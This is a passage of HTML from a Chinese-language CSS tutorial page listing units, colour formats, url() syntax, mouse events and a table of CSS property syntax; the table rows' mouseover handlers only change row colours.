(厘米，1厘米=10毫米) <br />        mm (毫米) <br />        pt (点，1点=1/72英寸) <br />        pc (帕，1帕=12点) <br />        字号的取值范围：<br />        &middot;pt 像点Point为单位：点单位在所有的浏览器和操作平台上都适用 <br />        &middot;em 字符为单位：指字母要素的尺寸，和Point相同距离 <br />        &middot;px 像素Pixes为单位：像素可以使用于所有的操作平台，但可能会因为浏览者的屏幕分辨率不同而造成显示上的效果差异 <br />        &middot;in 英寸 <br />        &middot;cm 厘米 <br />        &middot;mm 毫米 <br />        &middot;pc 打印机的字体大小 <br />        &middot;ex (x-height)为单位 <br />        &middot;smaller 比当前文字的默认大小更小一号 <br />        &middot;larger 比当前文字的默认大小更小大号<br />        相对关系：1in = 6pc = 72pt = 2.54cm = 25.4mm</font></h6>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">2. 百分比单位</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">一个百分比值由可选的正号&quot;＋&quot;或负号&quot;－&quot;、接着的一个数字，还有百分号&quot;%&quot;。在一个百分比值之中是没有空格的。百分比值是相对于其它数值，同样地用于定义每个属性。最经常使用的百分比值是相对于元素的字体大小。</font></h6>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">3. 颜色单位</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">Windows VGA(视频图像阵列)形成了16各关键字: aqua，black， blue，fuchsia，gray，green， lime，maroon，navy，olive， purple，red，silver，teal，white，and yellow。</font></h6>        <h6 align="left"><font size="4">RGB颜色可以有四种形式: </font></h6>        <h6 align="left"><font size="4">#rrggbb (如，#00cc00) <br />        #rgb (如，#0c0) <br />        rgb(x,x,x) x是一个介乎0到255之间的整数 (如，#00cc00) <br />        rgb(y%,y%,y%) y是一个介乎0.0到100.0之间的整数 (如，rgb(0%,80%,0%)) <br />        上述的例子指定同一颜色。</font><a href="http://www.a100.com.cn/css/Colors16.htm" target="_blank"><font size="4">16位颜色表</font></a><font size="4"> </font><a href="http://www.a100.com.cn/css/colors256.htm" target="_blank"><font size="4">256位颜色表</font></a></h6>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">4. 统一资源管理URL</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">一 个URL值的格式为 : url(foo)，foo是一个URL(统一资源管理，因特网的地址)。URL可以选择用单引号( ' )或者双引号( &quot; )，并且，在URL之前或之后可以包含空格。在URL中的括弧，逗号，空格，单引号，或双引号必须避开反斜杠。不完整的URLs被理解为样式表的源代码， 而不是HTML源代码。<br />        注意: Netscape Navigator 4.x 会错误地将不完整的URLs理解为相关的HTML源代码。注意到这个错误后，网页制作者应该在可能的地方使用完整的URLs。</font></h6>        <h6 align="left"><font size="4">例如:<br />        BODY { background: url(stripe.gif) }<br />        BODY { background: url(http://www.htmlhelp.com/stripe.gif) }<br />        BODY { background: url( stripe.gif ) }<br />        BODY { background: url(&quot;stripe.gif&quot;) }<br />        BODY { background: url(\&quot;Ulalume\&quot;.png) } /* quotes in URL escaped */</font></h6>        <h6 align="left"><font size="4">下面介绍几种常见的事件，还用更多事件，请查阅相关资料： </font></h6>        <h6 align="left"><font size="4">onClick：鼠标单击事件(是指鼠标按下，然后松开时产生)<br />        onDblClick：鼠标双击事件(是指鼠标快速按下，松开，并再次按下时产生)<br />        onMouseDown：鼠标按下事件(鼠标按下时即产生)<br />        onMouseUp：鼠标释放事件(是指鼠标从按下的状态到弹起)<br />        onMouseMove：鼠标移动事件(是指在特定元素上移动鼠标)<br />        onMouseOver：鼠标经过事件(当指针从外界往元素上移动时产生)<br />        onMouseOut：鼠标离开事件(是指鼠标从特定元素上离开时产生)<br />        onLoad：载入事件(当图象或页面结束载入时产生)<br />        onUnload：卸载事件(当访问者离开页面时产生)<br />        onScroll：滚动条滚动事件(当访问者使用卷轴上移或下移时产生)</font></h6>        <h6 align="left"><font style="BACKGROUND-COLOR: rgb(0,0,0)" color="#ff0000" size="4">CSS代码试验器</font></h6>        <h6 align="left"><a href="http://www.a100.com.cn/css/08.htm"><font size="4">http://www.a100.com.cn/css/08.htm</font></a></h6>        <h6 align="left"><font size="4"><span class="font_red">CSS 属性：</span> </font></h6>        <h6 align="left">        <table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">            <tbody>                <tr>                    <td colspan="4"><font size="4">字体样式(Font Style)</font></td>                </tr>                <tr class="table_back1">                    <td width="4%"><font size="4">序号</font></td>                    <td width="7%"><font size="4">中文说明</font></td>                    <td width="80%"><font size="4">标记语法</font></td>                    <td width="9%"><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font"><font size="4">字体样式</font></a></td>                    <td><font size="4">{font:font-style font-variant font-weight font-size font-family} </font></td>                    <td><font size="4">？</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-family"><font size="4">字体类型</font></a></td>                    <td><font size="4">{font-family:&quot;字体1&quot;,&quot;字体2&quot;,&quot;字体3&quot;,...} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-size"><font size="4">字体大小</font></a></td>                    <td><font size="4">{font-size:数值|inherit| medium| large| larger| x-large| xx-large| small| smaller| x-small| xx-small} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-style"><font size="4">字体风格</font></a></td>                    <td><font size="4">{font-style:inherit|italic|normal|oblique} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-weight"><font size="4">字体粗细</font></a><font size="4"> </font></td>                    <td><font size="4">{font-weight:100-900|bold|bolder|lighter|normal;} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#color"><font size="4">字体颜色</font></a><font size="4"> </font></td>                    <td><font size="4">{color:数值;}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">7</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#text-shadow"><font size="4">阴影颜色</font></a></td>                    <td><font size="4">{text-shadow:</font><a href="http://www.a100.com.cn/css/Colors16.htm" target="_blank"><font size="4">16位色值</font></a><font size="4">}</font></td>                    <td><font size="4">？</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">8</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#line-height"><font size="4">字体行高</font></a><font size="4"> </font></td>                    <td><font size="4">{line-height:数值|inherit|normal;}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">9</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#letter-spacing"><font size="4">字 间 距</font></a><font size="4"> </font></td>                    <td><font size="4">{letter-spacing:数值|inherit|normal}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">10</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#word-spacing"><font size="4">单词间距</font></a></td>                    <td><font size="4">{word-spacing:数值|inherit|normal}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">11</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-variant"><font size="4">字体变形</font></a></td>                    <td><font size="4">{font-variant:inherit|normal|small-cps } </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">12</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#text-transform"><font size="4">英文转换</font></a></td>                    <td><font size="4">{text-transform:inherit|none|capitalize|uppercase|lowercase}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">13</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#font-size-adjust"><font size="4">？</font></a></td>                    <td><font size="4">{font-size-adjust:inherit|none} </font></td>                    <td><font size="4">？</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">14</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/font-stretch"><font size="4">？</font></a></td>                    <td><font size="4">{font-stretch:condensed|expanded|extra-condensed|extra-expanded|inherit|narrower|normal| semi-condensed|semi-expanded|ultra-condensed|ultra-expanded|wider} </font></td>                    <td><font size="4">？</font></td>                </tr>                <tr>                    <td colspan="4"><font size="4">文本样式(Text Style)</font></td>                </tr>                <tr class="table_back1">                    <td><font size="4">序号</font></td>                    <td><font size="4">中文说明</font></td>                    <td><font size="4">标记语法</font></td>                    <td><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#line-height"><font size="4">行 间 距</font></a></td>                    <td><font size="4">{line-height:数值|inherit|normal;} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#text-decoration"><font size="4">文本修饰</font></a></td>                    <td><font size="4">{text-decoration:inherit|none|underline|overline|line-through|blink}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#text-indent"><font size="4">段首空格</font></a><font size="4"> </font></td>                    <td><font size="4">{text-indent:数值|inherit}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#text-align"><font size="4">水平对齐</font></a></td>                    <td><font size="4">{text-align:left|right|center|justify} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#vertical-align"><font size="4">垂直对齐</font></a></td>                    <td><font size="4">{vertical-align:inherit|top|bottom|text-top|text-bottom|baseline|middle|sub|super} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#writing-mode"><font size="4">书写方式</font></a></td>                    <td><font size="4">{writing-mode:lr-tb|tb-rl} </font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td colspan="4"><font size="4">背景样式(Background Style)</font></td>                </tr>                <tr class="table_back1">                    <td><font size="4">序号</font></td>                    <td><font size="4">中文说明</font></td>                    <td><font size="4">标记语法</font></td>                    <td><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background-color"><font size="4">背景颜色</font></a></td>                    <td><font size="4">{background-color:数值}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background-image"><font size="4">背景图片</font></a></td>                    <td><font size="4">{background-image: url(URL)|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background-repeat"><font size="4">背景重复</font></a></td>                    <td><font size="4">{background-repeat:inherit|no-repeat|repeat|repeat-x|repeat-y}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background-attachment"><font size="4">背景固定</font></a></td>                    <td><font size="4">{background-attachment:fixed|scroll}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background-position"><font size="4">背景定位</font></a></td>                    <td><font size="4">{background-position:数值|top|bottom|left|right|center}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#background"><font size="4">背影样式</font></a></td>                    <td><font size="4">{background:背景颜色|背景图象|背景重复|背景附件|背景位置}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr>                    <td colspan="4"><font size="4">框架样式(Box Style) </font></td>                </tr>                <tr class="table_back1">                    <td><font size="4">序号</font></td>                    <td><font size="4">中文说明</font></td>                    <td><font size="4">标记语法</font></td>                    <td><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#margin"><font size="4">边界留白</font></a></td>                    <td><font size="4">{margin:margin-top margin-right margin-bottom margin-left}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#padding"><font size="4">补　　白</font></a></td>                    <td><font size="4">{padding:padding-top padding-right padding-bottom padding-left}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#border-width"><font size="4">边框宽度</font></a></td>                    <td><font size="4">{border-width:border-top-width border-right-width border-bottom-width border-left-width}　　<br />                    宽度值： thin|medium|thick|数值</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#border-color"><font size="4">边框颜色</font></a></td>                    <td><font size="4">{border-color:数值 数值 数值 数值}　　数值：分别代表top、right、bottom、left颜色值</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#border-style"><font size="4">边框风格</font></a></td>                    <td><font size="4">{border-style:none|hidden|inherit|dashed|solid|double|inset|outset|ridge|groove}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#border"><font size="4">边　　框</font></a></td>                    <td><font size="4">{border:border-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">上 边 框</font></td>                    <td><font size="4">{border-top:border-top-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">右 边 框</font></td>                    <td><font size="4">{border-right:border-right-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#e4e8eb">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">下 边 框</font></td>                    <td><font size="4">{border-bottom:border-bottom-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">左 边 框</font></td>                    <td><font size="4">{border-left:border-left-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">7</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#width"><font size="4">宽　　度</font></a></td>                    <td><font size="4">{width:长度|百分比| auto}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">8</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#height"><font size="4">高　　度</font></a></td>                    <td><font size="4">{height:数值|auto}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">9</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#float"><font size="4">漂　　浮</font></a></td>                    <td><font size="4">{float:left|right|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">10</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#clear"><font size="4">清　　除</font></a></td>                    <td><font size="4">{clear:none|left|right|both}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr>                    <td colspan="4"><font size="4">分类列表</font></td>                </tr>                <tr class="table_back1">                    <td align="center"><font size="4">序号</font></td>                    <td align="center"><font size="4">中文说明</font></td>                    <td><font size="4">标记语法</font></td>                    <td><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#display"><font size="4">控制显示</font></a></td>                    <td><font size="4">{display:none|block|inline|list-item}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#white-space"><font size="4">控制空白</font></a></td>                    <td><font size="4">{white-space:normal|pre|nowarp}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#list-style-type"><font size="4">符号列表</font></a></td>                    <td><font size="4">{list-style-type:disc|circle|square|decimal|lower-roman|upper-roman|lower-alpha|upper-alpha|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#list-style-image"><font size="4">图形列表</font></a></td>                    <td><font size="4">{list-style-image:URL}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#list-style-position"><font size="4">位置列表</font></a></td>                    <td><font size="4">{list-style-position:inside|outside}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#list-style"><font size="4">目录列表</font></a></td>                    <td><font size="4">{list-style:目录样式类型|目录样式位置|url}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">7</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/10.htm#cursor"><font size="4">鼠标形状</font></a></td>                    <td><font 